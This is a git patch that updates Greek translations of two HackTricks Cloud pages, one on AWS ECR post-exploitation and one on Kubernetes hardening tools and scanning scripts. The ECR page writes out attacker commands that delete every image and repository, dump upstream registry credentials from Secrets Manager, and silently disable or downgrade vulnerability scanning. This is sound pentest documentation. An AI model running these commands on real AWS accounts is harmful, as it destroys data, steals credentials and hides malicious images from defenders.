From 91264fe4ea7be723da03bfdbb11d89c1efa9f73f Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 17 Dec 2025 10:14:54 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/kubernetes-security/kubernetes-har --- .../aws-ecr-post-exploitation/README.md | 82 +++++--- .../kubernetes-hardening/README.md | 182 ++++++++++++------ 2 files changed, 184 insertions(+), 80 deletions(-) diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md index 217506257..662b47ea8 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md @@ -4,7 +4,7 @@ ## ECR -Για περισσότερες πληροφορίες, δείτε +Για περισσότερες πληροφορίες δείτε {{#ref}} ../../aws-services/aws-ecr-enum.md @@ -47,7 +47,7 @@ aws ecr get-download-url-for-layer \ --registry-id 653711331788 \ --layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a" ``` -Αφού κατεβάσετε τις εικόνες, θα πρέπει να **ελέγξετε για ευαίσθητες πληροφορίες**: +Μετά τη λήψη των images, θα πρέπει να **ελέγξετε για ευαίσθητες πληροφορίες**: {{#ref}} https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html @@ -55,7 +55,7 @@ https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forens ### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage` -An attacker με οποιαδήποτε από αυτές τις άδειες μπορεί να **δημιουργήσει ή να τροποποιήσει μια πολιτική κύκλου ζωής για να διαγράψει όλες τις εικόνες στο αποθετήριο** και στη συνέχεια να **διαγράψει ολόκληρο το ECR repository**. Αυτό θα είχε ως αποτέλεσμα την απώλεια όλων των εικόνων κοντέινερ που είναι αποθηκευμένες στο αποθετήριο. +Ένας επιτιθέμενος με οποιαδήποτε από αυτές τις άδειες μπορεί να **δημιουργήσει ή να τροποποιήσει μια lifecycle policy για να διαγράψει όλες τις images στο repository** και στη συνέχεια να **διαγράψει ολόκληρο το ECR repository**. Αυτό θα έχει ως αποτέλεσμα την απώλεια όλων των container images που είναι αποθηκευμένα στο repository. ```bash # Create a JSON file with the malicious lifecycle policy echo '{ @@ -90,21 +90,21 @@ aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imag # Delete multiple images from the ECR public repository aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0 ``` -### Exfiltrate upstream registry credentials from ECR Pull‑Through Cache (PTC) +### Exfiltrate διαπιστευτήρια upstream registry από ECR Pull‑Through Cache (PTC) -Εάν το ECR Pull‑Through Cache έχει ρυθμιστεί για authenticated upstream registries (Docker Hub, GHCR, ACR, κ.λπ.), τα upstream credentials αποθηκεύονται στο AWS Secrets Manager με ένα προβλέψιμο πρόθεμα ονόματος: `ecr-pullthroughcache/`. Οι operators μερικές φορές παραχωρούν στους ECR admins ευρεία ανάγνωση στο Secrets Manager, επιτρέποντας credential exfiltration και επαναχρησιμοποίηση εκτός AWS. +Εάν το ECR Pull‑Through Cache έχει ρυθμιστεί για επαληθευμένα upstream registries (Docker Hub, GHCR, ACR, κ.λπ.), τα upstream credentials αποθηκεύονται στο AWS Secrets Manager με προβλέψιμη πρόθεμα ονόματος: `ecr-pullthroughcache/`. Οι operators μερικές φορές παραχωρούν στους ECR admins ευρεία πρόσβαση ανάγνωσης στο Secrets Manager, επιτρέποντας credential exfiltration και επαναχρησιμοποίηση εκτός AWS. Απαιτήσεις -- `secretsmanager:ListSecrets` -- `secretsmanager:GetSecretValue` +- secretsmanager:ListSecrets +- secretsmanager:GetSecretValue -Εντοπισμός υποψηφίων PTC secrets +Enumerate candidate PTC secrets ```bash aws secretsmanager list-secrets \ --query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].Name" \ --output text ``` -Dump τα ανακαλυφθέντα secrets και αναλύστε κοινά πεδία +Dump των ανακαλυφθέντων μυστικών και parse των κοινών πεδίων ```bash for s in $(aws secretsmanager list-secrets \ --query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].ARN" --output text); do @@ -114,23 +114,23 @@ jq -r '.username? // .user? // empty' /tmp/ptc_secret.json || true jq -r '.password? // .token? // empty' /tmp/ptc_secret.json || true done ``` -Προαιρετικό: επαληθεύστε τα leaked creds έναντι του upstream (read‑only login) +Προαιρετικά: επαληθεύστε τα leaked creds απέναντι στο upstream (read‑only login) ```bash echo "$DOCKERHUB_PASSWORD" | docker login --username "$DOCKERHUB_USERNAME" --password-stdin registry-1.docker.io ``` -Επίδραση -- Η ανάγνωση αυτών των καταχωρήσεων του Secrets Manager αποδίδει επαναχρησιμοποιήσιμα upstream registry credentials (username/password ή token), τα οποία μπορούν να καταχραστούν εκτός AWS για να τραβήξουν ιδιωτικές εικόνες ή να αποκτήσουν πρόσβαση σε επιπλέον repositories ανάλογα με τα upstream permissions. +Επιπτώσεις +- Η ανάγνωση αυτών των καταχωρήσεων του Secrets Manager αποδίδει επαναχρησιμοποιήσιμα διαπιστευτήρια του upstream registry (username/password ή token), τα οποία μπορούν να καταχραστούν εκτός AWS για να κατεβάσουν ιδιωτικές εικόνες ή να αποκτήσουν πρόσβαση σε επιπλέον repositories ανάλογα με τα upstream permissions. -### Αόρατη λειτουργία σε επίπεδο registry: απενεργοποίηση ή υποβάθμιση της σάρωσης μέσω `ecr:PutRegistryScanningConfiguration` +### Απόκρυψη σε επίπεδο registry: απενεργοποίηση ή υποβάθμιση του scanning μέσω `ecr:PutRegistryScanningConfiguration` -Ένας attacker με δικαιώματα ECR σε επίπεδο registry μπορεί σιωπηλά να μειώσει ή να απενεργοποιήσει την αυτόματη σάρωση ευπαθειών για ΟΛΑ τα repositories θέτοντας το registry scanning configuration σε BASIC χωρίς κανόνες scan-on-push. Αυτό εμποδίζει τις νέες image pushes να σαρώνονται αυτόματα, κρύβοντας ευπαθείς ή κακόβουλες εικόνες. +Ένας επιτιθέμενος με δικαιώματα ECR σε επίπεδο registry μπορεί σιωπηλά να μειώσει ή να απενεργοποιήσει το αυτόματο vulnerability scanning για ΟΛΑ τα repositories, ρυθμίζοντας την registry scanning configuration σε BASIC χωρίς κανόνες scan-on-push. Αυτό εμποδίζει τις νέες αποστολές εικόνων να σαρώνονται αυτόματα, αποκρύπτοντας ευάλωτες ή κακόβουλες εικόνες. -Requirements +Απαιτήσεις - ecr:PutRegistryScanningConfiguration - ecr:GetRegistryScanningConfiguration -- ecr:PutImageScanningConfiguration (optional, per‑repo) -- ecr:DescribeImages, ecr:DescribeImageScanFindings (verification) +- ecr:PutImageScanningConfiguration (προαιρετικό, ανά repo) +- ecr:DescribeImages, ecr:DescribeImageScanFindings (επικύρωση) Υποβάθμιση σε όλο το registry σε χειροκίνητο (χωρίς αυτόματες σαρώσεις) ```bash @@ -159,7 +159,7 @@ aws ecr describe-images --region "$REGION" --repository-name "$repo" --image-ids # Optional: will error with ScanNotFoundException if no scan exists aws ecr describe-image-scan-findings --region "$REGION" --repository-name "$repo" --image-id imageTag=test || true ``` -Προαιρετικό: περαιτέρω υποβάθμιση σε επίπεδο repo +Προαιρετικό: περαιτέρω υποβάθμιση σε επίπεδο αποθετηρίου ```bash # Disable scan-on-push for a specific repository aws ecr put-image-scanning-configuration \ @@ -167,20 +167,20 @@ aws ecr put-image-scanning-configuration \ --repository-name "$repo" \ --image-scanning-configuration scanOnPush=false ``` -Αντίκτυπο -- Οι νέες pushes εικόνων σε όλο το registry δεν σαρώνονται αυτόματα, μειώνοντας την ορατότητα ευάλωτου ή κακόβουλου περιεχομένου και καθυστερώντας την ανίχνευση μέχρι να ξεκινήσει χειροκίνητη σάρωση. +Επιπτώσεις +- Νέες image pushes σε όλο το registry δεν σαρώνονται αυτόματα, μειώνοντας την ορατότητα ευπαθούς ή κακόβουλου περιεχομένου και καθυστερώντας την ανίχνευση μέχρι να ξεκινήσει χειροκίνητη σάρωση. -### Υποβάθμιση engine σάρωσης σε επίπεδο registry μέσω `ecr:PutAccountSetting` (AWS_NATIVE -> CLAIR) +### Υποβάθμιση της μηχανής σάρωσης σε επίπεδο registry μέσω `ecr:PutAccountSetting` (AWS_NATIVE -> CLAIR) -Μειώστε την ποιότητα εντοπισμού ευπαθειών σε όλο το registry αλλάζοντας το BASIC scan engine από το προεπιλεγμένο AWS_NATIVE στον παλαιότερο engine CLAIR. Αυτό δεν απενεργοποιεί τις σαρώσεις, αλλά μπορεί να αλλάξει ουσιωδώς τα ευρήματα/την κάλυψη. Συνδυάστε το με μια BASIC ρύθμιση σάρωσης registry χωρίς κανόνες ώστε οι σαρώσεις να γίνονται μόνο χειροκίνητα. +Μειώστε την ποιότητα ανίχνευσης ευπαθειών σε ολόκληρο το registry αλλάζοντας την BASIC scan engine από το προεπιλεγμένο AWS_NATIVE στην παλαιά μηχανή CLAIR. Αυτό δεν απενεργοποιεί τη σάρωση αλλά μπορεί να αλλάξει ουσιαστικά τα ευρήματα/την κάλυψη. Συνδυάστε το με μια BASIC registry scanning configuration χωρίς κανόνες για να κάνετε τις σαρώσεις αποκλειστικά χειροκίνητες. Απαιτήσεις - `ecr:PutAccountSetting`, `ecr:GetAccountSetting` -- (Optional) `ecr:PutRegistryScanningConfiguration`, `ecr:GetRegistryScanningConfiguration` +- (Προαιρετικό) `ecr:PutRegistryScanningConfiguration`, `ecr:GetRegistryScanningConfiguration` -Αντίκτυπο -- Η ρύθμιση του registry `BASIC_SCAN_TYPE_VERSION` τίθεται σε `CLAIR`, έτσι οι επόμενες BASIC σαρώσεις εκτελούνται με τον υποβαθμισμένο engine. Το CloudTrail καταγράφει την κλήση API `PutAccountSetting`. +Επιπτώσεις +- Η ρύθμιση registry `BASIC_SCAN_TYPE_VERSION` τίθεται σε `CLAIR`, έτσι οι επακόλουθες BASIC σαρώσεις τρέχουν με την υποβαθμισμένη μηχανή. Το CloudTrail καταγράφει την κλήση API `PutAccountSetting`. Βήματα ```bash @@ -201,4 +201,36 @@ aws ecr put-registry-scanning-configuration --region $REGION --scan-type BASIC - # 5) Restore to AWS_NATIVE when finished to avoid side effects aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value AWS_NATIVE ``` +### Σάρωση εικόνων ECR για ευπάθειες +```bash +#!/bin/bash + +# This script pulls all images from ECR and runs snyk on them showing vulnerabilities for all images + +region= +profile= + +registryId=$(aws ecr describe-registry --region $region --profile $profile --output json | jq -r '.registryId') + +# Configure docker creds +aws ecr get-login-password --region $region --profile $profile | docker login --username AWS --password-stdin $registryId.dkr.ecr.$region.amazonaws.com + +while read -r repo; do +echo "Working on repository $repo" +digest=$(aws ecr describe-images --repository-name $repo --image-ids imageTag=latest --region $region --profile $profile --output json | jq -r '.imageDetails[] | .imageDigest') +if [ -z "$digest" ] +then +echo "No images! Empty repository" +continue +fi +url=$registryId.dkr.ecr.$region.amazonaws.com/$repo@$digest +echo "Pulling $url" +docker pull $url +echo "Scanning $url" +snyk container test $url --json-file-output=./snyk/$repo.json --severity-threshold=high +# trivy image -f json -o ./trivy/$repo.json --severity HIGH,CRITICAL $url +# echo "Removing image $url" +# docker image rm $url +done < <(aws ecr describe-repositories --region $region --profile $profile --output json | jq -r '.repositories[] | .repositoryName') +``` {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-hardening/README.md b/src/pentesting-cloud/kubernetes-security/kubernetes-hardening/README.md index e6c5f3c88..8b5f9b231 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-hardening/README.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-hardening/README.md @@ -1,4 +1,4 @@ -# Kubernetes Hardening +# Kubernetes Ενίσχυση ασφάλειας {{#include ../../../banners/hacktricks-training.md}} @@ -6,7 +6,7 @@ ### [Steampipe - Kubernetes Compliance](https://github.com/turbot/steampipe-mod-kubernetes-compliance) -Εκτελεί **πολλούς ελέγχους συμμόρφωσης στο Kubernetes cluster**. Περιλαμβάνει υποστήριξη για τα πρότυπα CIS, καθώς και για τις οδηγίες της National Security Agency (NSA) και της Cybersecurity and Infrastructure Security Agency (CISA) σχετικά με το hardening του Kubernetes. +Εκτελεί **αρκετούς ελέγχους συμμόρφωσης στο Kubernetes cluster**. Περιλαμβάνει υποστήριξη για CIS, National Security Agency (NSA) και Cybersecurity and Infrastructure Security Agency (CISA) — την τεχνική έκθεση για την ενίσχυση της ασφάλειας του Kubernetes. ```bash # Install Steampipe brew install turbot/tap/powerpipe @@ -27,91 +27,91 @@ powerpipe server ``` ### [**Kubescape**](https://github.com/armosec/kubescape) -[**Kubescape**](https://github.com/armosec/kubescape) είναι ένα K8s open-source εργαλείο που παρέχει ένα multi-cloud K8s single pane of glass, περιλαμβάνοντας ανάλυση κινδύνου, security compliance, RBAC visualizer και image vulnerabilities scanning. Το Kubescape σαρώνει K8s clusters, YAML αρχεία και HELM charts, εντοπίζοντας misconfigurations σύμφωνα με πολλαπλά frameworks (όπως τα [NSA-CISA](https://www.armosec.io/blog/kubernetes-hardening-guidance-summary-by-armo) , [MITRE ATT\&CK®](https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/)), ευπάθειες λογισμικού και παραβάσεις RBAC (role-based-access-control) σε πρώιμα στάδια του CI/CD pipeline, υπολογίζει άμεσα το risk score και εμφανίζει τις τάσεις κινδύνου με την πάροδο του χρόνου. +[**Kubescape**](https://github.com/armosec/kubescape) είναι ένα εργαλείο ανοιχτού κώδικα για K8s που παρέχει ένα multi-cloud K8s single pane of glass, περιλαμβάνοντας ανάλυση κινδύνου, συμμόρφωση ασφάλειας, RBAC visualizer και image vulnerabilities scanning. Το Kubescape σκανάρει K8s clusters, YAML files και HELM charts, εντοπίζοντας misconfigurations σύμφωνα με πολλαπλά frameworks (όπως το [NSA-CISA](https://www.armosec.io/blog/kubernetes-hardening-guidance-summary-by-armo) , [MITRE ATT\&CK®](https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/)), software vulnerabilities, και RBAC (role-based-access-control) violations στα πρώιμα στάδια του CI/CD pipeline, υπολογίζει άμεσα το risk score και εμφανίζει risk trends με την πάροδο του χρόνου. ```bash curl -s https://raw.githubusercontent.com/kubescape/kubescape/master/install.sh | /bin/bash kubescape scan --verbose ``` ### [**Popeye**](https://github.com/derailed/popeye) -[**Popeye**](https://github.com/derailed/popeye) είναι ένα utility που σαρώνει live Kubernetes cluster και **αναφέρει πιθανά προβλήματα με τους αναπτυγμένους πόρους και τις διαμορφώσεις**. Καθαρίζει το cluster σας βασιζόμενο σε αυτό που είναι αναπτυγμένο και όχι σε αυτό που βρίσκεται στο δίσκο. Σαρώνοντας το cluster σας, εντοπίζει misconfigurations και σας βοηθά να διασφαλίσετε ότι οι βέλτιστες πρακτικές εφαρμόζονται, προλαμβάνοντας μελλοντικούς πονοκεφάλους. Στοχεύει στη μείωση του γνωστικού \_φορτίου που αντιμετωπίζει κανείς όταν λειτουργεί ένα Kubernetes cluster στο wild. Επιπλέον, αν το cluster σας χρησιμοποιεί metric-server, αναφέρει πιθανές υπερ/υπο-εκχωρήσεις πόρων και προσπαθεί να σας προειδοποιήσει σε περίπτωση που το cluster σας εξαντλήσει τη χωρητικότητα. +[**Popeye**](https://github.com/derailed/popeye) είναι ένα βοηθητικό εργαλείο που σαρώει ζωντανό Kubernetes cluster και **αναφέρει πιθανά προβλήματα με τους αναπτυγμένους πόρους και τις διαμορφώσεις**. Εξυγιάνει το cluster σας με βάση ό,τι έχει αναπτυχθεί και όχι ό,τι βρίσκεται σε δίσκο. Σαρώνει το cluster σας, εντοπίζει λανθασμένες διαμορφώσεις και σας βοηθά να διασφαλίσετε ότι εφαρμόζονται οι βέλτιστες πρακτικές, αποτρέποντας έτσι μελλοντικά προβλήματα. Στοχεύει στη μείωση του cognitive \_over_load που αντιμετωπίζει κανείς όταν λειτουργεί ένα Kubernetes cluster στο πεδίο. Επιπλέον, εάν το cluster σας χρησιμοποιεί metric-server, αναφέρει πιθανές υπερεκχωρήσεις/υποεκχωρήσεις πόρων και προσπαθεί να σας προειδοποιήσει σε περίπτωση που το cluster σας εξαντλήσει τη χωρητικότητα. ### [**Kube-bench**](https://github.com/aquasecurity/kube-bench) -The tool [**kube-bench**](https://github.com/aquasecurity/kube-bench) is a tool that checks whether Kubernetes is deployed securely by running the checks documented in the [**CIS Kubernetes Benchmark**].\ +Το εργαλείο [**kube-bench**](https://github.com/aquasecurity/kube-bench) ελέγχει εάν το Kubernetes έχει αναπτυχθεί με ασφάλεια εκτελώντας τους ελέγχους που τεκμηριώνονται στο [**CIS Kubernetes Benchmark**](https://www.cisecurity.org/benchmark/kubernetes/).\ Μπορείτε να επιλέξετε να: -- τρέξετε kube-bench από μέσα σε ένα container (μοιράζοντας το PID namespace με το host) -- τρέξετε ένα container που εγκαθιστά το kube-bench στο host, και στη συνέχεια να τρέξετε το kube-bench απευθείας στο host -- εγκαταστήσετε τα τελευταία binaries από τη [Releases page](https://github.com/aquasecurity/kube-bench/releases), -- κάνετε compile από το source. +- run kube-bench from inside a container (sharing PID namespace with the host) +- run a container that installs kube-bench on the host, and then run kube-bench directly on the host +- εγκαταστήσετε τα πιο πρόσφατα binaries από τη [Releases page](https://github.com/aquasecurity/kube-bench/releases), +- κάνετε compile από τον πηγαίο κώδικα. ### [**Kubeaudit**](https://github.com/Shopify/kubeaudit) -**[DEPRECATED]** Το εργαλείο [**kubeaudit**](https://github.com/Shopify/kubeaudit) είναι ένα command line tool και ένα πακέτο Go για να **ελέγχει Kubernetes clusters** για διάφορα ζητήματα ασφάλειας. +**[DEPRECATED]** Το εργαλείο [**kubeaudit**](https://github.com/Shopify/kubeaudit) είναι ένα command line εργαλείο και ένα Go πακέτο για να **audit Kubernetes clusters** για διάφορα ζητήματα ασφάλειας. -Το Kubeaudit μπορεί να ανιχνεύσει αν τρέχει μέσα σε ένα container σε ένα cluster. Αν ναι, θα προσπαθήσει να ελέγξει όλους τους Kubernetes πόρους σε αυτό το cluster: +Kubeaudit μπορεί να ανιχνεύσει εάν τρέχει μέσα σε ένα container σε ένα cluster. Αν ναι, θα προσπαθήσει να audit όλους τους Kubernetes resources σε εκείνο το cluster: ``` kubeaudit all ``` -Αυτό το εργαλείο έχει επίσης το όρισμα `autofix` για **αυτόματη διόρθωση των εντοπισμένων προβλημάτων.** +Αυτό το εργαλείο έχει επίσης την παράμετρο `autofix` για να **διορθώνει αυτόματα τα εντοπισμένα προβλήματα.** ### [**Kube-hunter**](https://github.com/aquasecurity/kube-hunter) -**[DEPRECATED]** Το εργαλείο [**kube-hunter**](https://github.com/aquasecurity/kube-hunter) ανιχνεύει αδυναμίες ασφαλείας σε Kubernetes clusters. Το εργαλείο αναπτύχθηκε για να αυξήσει την ευαισθητοποίηση και την ορατότητα για ζητήματα ασφαλείας σε περιβάλλοντα Kubernetes. +**[Παρωχημένο]** Το εργαλείο [**kube-hunter**](https://github.com/aquasecurity/kube-hunter) εντοπίζει αδυναμίες ασφαλείας σε Kubernetes clusters. Το εργαλείο αναπτύχθηκε για να αυξήσει την ευαισθητοποίηση και την ορατότητα για ζητήματα ασφάλειας σε περιβάλλοντα Kubernetes. ```bash kube-hunter --remote some.node.com ``` ### [Trivy](https://github.com/aquasecurity/trivy) -[Trivy](https://github.com/aquasecurity/trivy) διαθέτει σαρωτές που αναζητούν θέματα ασφάλειας και στόχους όπου μπορεί να εντοπίσει αυτά τα ζητήματα: +[Trivy](https://github.com/aquasecurity/trivy) έχει ανιχνευτές που αναζητούν θέματα ασφαλείας, και στόχους όπου μπορεί να εντοπίσει αυτά τα θέματα: -- Εικόνα container +- Container Image - Filesystem -- Αποθετήριο Git (remote) -- Εικόνα Virtual Machine +- Git Repository (remote) +- Virtual Machine Image - Kubernetes ### [**Kubei**](https://github.com/Erezf-p/kubei) -**[Φαίνεται μη συντηρούμενο]** +**[Φαίνεται να μην συντηρείται]** -[**Kubei**](https://github.com/Erezf-p/kubei) είναι ένα εργαλείο σάρωσης ευπαθειών και CIS Docker benchmark που επιτρέπει στους χρήστες να λάβουν μια ακριβή και άμεση εκτίμηση κινδύνου των Kubernetes clusters τους. Το Kubei σαρώνει όλες τις εικόνες που χρησιμοποιούνται σε ένα cluster Kubernetes, συμπεριλαμβανομένων των εικόνων των application pods και system pods. +[**Kubei**](https://github.com/Erezf-p/kubei) είναι ένα εργαλείο σάρωσης ευπαθειών και CIS Docker benchmark που επιτρέπει στους χρήστες να έχουν μια ακριβή και άμεση εκτίμηση κινδύνου για τα Kubernetes clusters τους. Το Kubei σαρώνει όλες τις images που χρησιμοποιούνται σε ένα Kubernetes cluster, συμπεριλαμβανομένων των images των application pods και των system pods. ### [**KubiScan**](https://github.com/cyberark/KubiScan) -[**KubiScan**](https://github.com/cyberark/KubiScan) είναι ένα εργαλείο για σάρωση cluster Kubernetes για επικίνδυνα δικαιώματα στο μοντέλο εξουσιοδότησης Role-based access control (RBAC) του Kubernetes. +[**KubiScan**](https://github.com/cyberark/KubiScan) είναι ένα εργαλείο για σάρωση Kubernetes cluster για επικίνδυνες άδειες στο μοντέλο εξουσιοδότησης Role-based access control (RBAC) του Kubernetes. ### [Managed Kubernetes Auditing Toolkit](https://github.com/DataDog/managed-kubernetes-auditing-toolkit) -[**Mkat**](https://github.com/DataDog/managed-kubernetes-auditing-toolkit) είναι ένα εργαλείο φτιαγμένο για να ελέγχει άλλου τύπου ελέγχους υψηλού κινδύνου σε σύγκριση με τα άλλα εργαλεία. Κυρίως έχει 3 διαφορετικές λειτουργίες: +[**Mkat**](https://github.com/DataDog/managed-kubernetes-auditing-toolkit) είναι ένα εργαλείο φτιαγμένο για να ελέγχει άλλους τύπους ελέγχων υψηλού κινδύνου σε σύγκριση με τα υπόλοιπα εργαλεία. Κυρίως έχει 3 διαφορετικές λειτουργίες: -- **`find-role-relationships`**: Θα βρει ποιες AWS roles τρέχουν σε ποια pods -- **`find-secrets`**: Προσπαθεί να εντοπίσει secrets σε K8s resources όπως Pods, ConfigMaps, και Secrets. -- **`test-imds-access`**: Θα προσπαθήσει να τρέξει pods και να προσπελάσει το metadata v1 και v2. WARNING: Αυτό θα τρέξει ένα pod στο cluster — να είστε πολύ προσεκτικοί γιατί ίσως να μην θέλετε να το κάνετε! +- **`find-role-relationships`**: Που θα βρίσκει ποιοι AWS roles τρέχουν σε ποιες pods +- **`find-secrets`**: Προσπαθεί να εντοπίσει secrets σε K8s resources όπως Pods, ConfigMaps και Secrets. +- **`test-imds-access`**: Θα προσπαθήσει να τρέξει pods και να προσπελάσει το metadata v1 και v2. ΠΡΟΕΙΔΟΠΟΙΗΣΗ: Αυτό θα τρέξει ένα pod στο cluster — να είστε πολύ προσεκτικοί γιατί ίσως δεν θέλετε να το κάνετε! -## **Έλεγχος IaC Κώδικα** +## **Έλεγχος IaC** ### [**KICS**](https://github.com/Checkmarx/kics) -[**KICS**](https://github.com/Checkmarx/kics) εντοπίζει **security vulnerabilities**, ζητήματα συμμόρφωσης και λανθασμένες ρυθμίσεις υποδομής στα ακόλουθα **Infrastructure as Code solutions**: Terraform, Kubernetes, Docker, AWS CloudFormation, Ansible, Helm, Microsoft ARM, και προδιαγραφές OpenAPI 3.0 +[**KICS**](https://github.com/Checkmarx/kics) εντοπίζει **ευπάθειες ασφαλείας**, ζητήματα συμμόρφωσης και λανθασμένες ρυθμίσεις υποδομής στις παρακάτω λύσεις Infrastructure as Code: Terraform, Kubernetes, Docker, AWS CloudFormation, Ansible, Helm, Microsoft ARM, και προδιαγραφές OpenAPI 3.0 ### [**Checkov**](https://github.com/bridgecrewio/checkov) [**Checkov**](https://github.com/bridgecrewio/checkov) είναι ένα εργαλείο στατικής ανάλυσης κώδικα για infrastructure-as-code. -Σαρώει υποδομή cloud που έχει προμηθευτεί χρησιμοποιώντας [Terraform](https://terraform.io), Terraform plan, [Cloudformation](https://aws.amazon.com/cloudformation/), [AWS SAM](https://aws.amazon.com/serverless/sam/), [Kubernetes](https://kubernetes.io), [Dockerfile](https://www.docker.com), [Serverless](https://www.serverless.com) ή [ARM Templates](https://docs.microsoft.com/en-us/azure/azure-resource-manager/templates/overview) και εντοπίζει security και compliance misconfigurations χρησιμοποιώντας graph-based scanning. +Σαρώνει την υποδομή cloud που παρέχεται μέσω [Terraform](https://terraform.io), Terraform plan, [Cloudformation](https://aws.amazon.com/cloudformation/), [AWS SAM](https://aws.amazon.com/serverless/sam/), [Kubernetes](https://kubernetes.io), [Dockerfile](https://www.docker.com), [Serverless](https://www.serverless.com) ή [ARM Templates](https://docs.microsoft.com/en-us/azure/azure-resource-manager/templates/overview) και εντοπίζει λανθασμένες ρυθμίσεις ασφάλειας και συμμόρφωσης χρησιμοποιώντας ανίχνευση βασισμένη σε γράφο. ### [**Kube-score**](https://github.com/zegl/kube-score) -[**kube-score**](https://github.com/zegl/kube-score) είναι ένα εργαλείο που εκτελεί στατική ανάλυση κώδικα των ορισμών αντικειμένων Kubernetes. +[**kube-score**](https://github.com/zegl/kube-score) είναι ένα εργαλείο που πραγματοποιεί στατική ανάλυση των ορισμών αντικειμένων Kubernetes σας. Για εγκατάσταση: -| Distribution | Command / Link | +| Διανομή | Εντολή / Σύνδεσμος | | --------------------------------------------------- | --------------------------------------------------------------------------------------- | -| Pre-built binaries for macOS, Linux, and Windows | [GitHub releases](https://github.com/zegl/kube-score/releases) | +| Προκατασκευασμένα binaries για macOS, Linux, and Windows | [GitHub releases](https://github.com/zegl/kube-score/releases) | | Docker | `docker pull zegl/kube-score` ([Docker Hub)](https://hub.docker.com/r/zegl/kube-score/) | | Homebrew (macOS and Linux) | `brew install kube-score` | | [Krew](https://krew.sigs.k8s.io/) (macOS and Linux) | `kubectl krew install score` | @@ -162,20 +162,92 @@ helm template chart /path/to/chart \ --set 'config.urls[0]=https://dummy.backend.internal' \ | kubesec scan - ``` +## Scan προβλήματα εξαρτήσεων + +### Scan εικόνες +```bash +#!/bin/bash +export images=$(kubectl get pods --all-namespaces -o jsonpath="{range .items[]}{.spec.containers[].image}{'\n'}{end}" | sort | uniq) +echo "All images found: $images" +echo "" +echo "" +for image in $images; do +# Run trivy scan and save JSON output +trivy image --format json --output /tmp/result.json --severity HIGH,CRITICAL "$image" >/dev/null 2>&1 +# Extract binary targets that have vulnerabilities +binaries=$(jq -r '.Results[] | select(.Vulnerabilities != null) | .Target' /tmp/result.json) +if [ -n "$binaries" ]; then +echo "- **Image:** $image" +while IFS= read -r binary; do +echo " - **Binary:** $binary" +jq -r --arg target "$binary" ' +.Results[] | select(.Target == $target) | .Vulnerabilities[] | +" - **\(.Title)** (\(.Severity)): Affecting `\(.PkgName)` fixed in version `\(.FixedVersion)` (current version is `\(.InstalledVersion)`)." +' /tmp/result.json +done <<< "$binaries" +echo "" +echo "" +echo "" +fi +done +``` +### Σάρωση Helm charts +```bash +#!/bin/bash +# scan-helm-charts.sh +# This script lists all Helm releases, renders their manifests, +# and then scans each manifest with Trivy for configuration issues. + +# Check that jq is installed +if ! command -v jq &>/dev/null; then +echo "jq is required but not installed. Please install jq and rerun." +exit 1 +fi + +# List all helm releases and extract namespace and release name +echo "Listing Helm releases..." +helm list --all-namespaces -o json | jq -r '.[] | "\(.namespace) \(.name)"' > helm_releases.txt + +# Check if any releases were found +if [ ! -s helm_releases.txt ]; then +echo "No Helm releases found." +exit 0 +fi + +# Loop through each Helm release and scan its rendered manifest +while IFS=" " read -r namespace release; do +echo "---------------------------------------------" +echo "Scanning Helm release '$release' in namespace '$namespace'..." +# Render the Helm chart manifest +manifest_file="${release}-manifest.yaml" +helm get manifest "$release" -n "$namespace" > "$manifest_file" +if [ $? -ne 0 ]; then +echo "Failed to get manifest for $release in $namespace. Skipping." +continue +fi +# Scan the manifest with Trivy (configuration scan) +echo "Running Trivy config scan on $manifest_file..." +trivy config --severity MEDIUM,HIGH,CRITICAL "$manifest_file" +echo "Completed scan for $release." +done < helm_releases.txt + +echo "---------------------------------------------" +echo "Helm chart scanning complete." +``` ## Συμβουλές -### Kubernetes PodSecurityContext και SecurityContext +### Kubernetes PodSecurityContext and SecurityContext -Μπορείτε να διαμορφώσετε το **security context των Pods** (με _PodSecurityContext_) και των **containers** που θα εκτελεστούν (με _SecurityContext_). Για περισσότερες πληροφορίες διαβάστε: +Μπορείτε να διαμορφώσετε το security context των Pods (με _PodSecurityContext_) και των containers που θα τρέξουν (με _SecurityContext_). Για περισσότερες πληροφορίες διαβάστε: {{#ref}} kubernetes-securitycontext-s.md {{#endref}} -### Ενίσχυση ασφάλειας του Kubernetes API +### Σκληροποίηση του Kubernetes API -Είναι πολύ σημαντικό να **προστατεύσετε την πρόσβαση στο Kubernetes Api Server** καθώς ένας κακόβουλος παράγοντας με επαρκή δικαιώματα θα μπορούσε να το καταχραστεί και να βλάψει με πολλούς τρόπους το περιβάλλον.\ -Είναι σημαντικό να ασφαλίσετε τόσο την **πρόσβαση** (**whitelist** origins για πρόσβαση στον API Server και να απορρίπτετε οποιαδήποτε άλλη σύνδεση) όσο και την [**authentication**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-authentication-authorization/) (ακολουθώντας την αρχή του **ελαχίστου** **δικαιώματος**). Και σίγουρα **μην** **επιτρέπετε** **ποτέ** **ανώνυμα** **αιτήματα**. +Είναι πολύ σημαντικό να 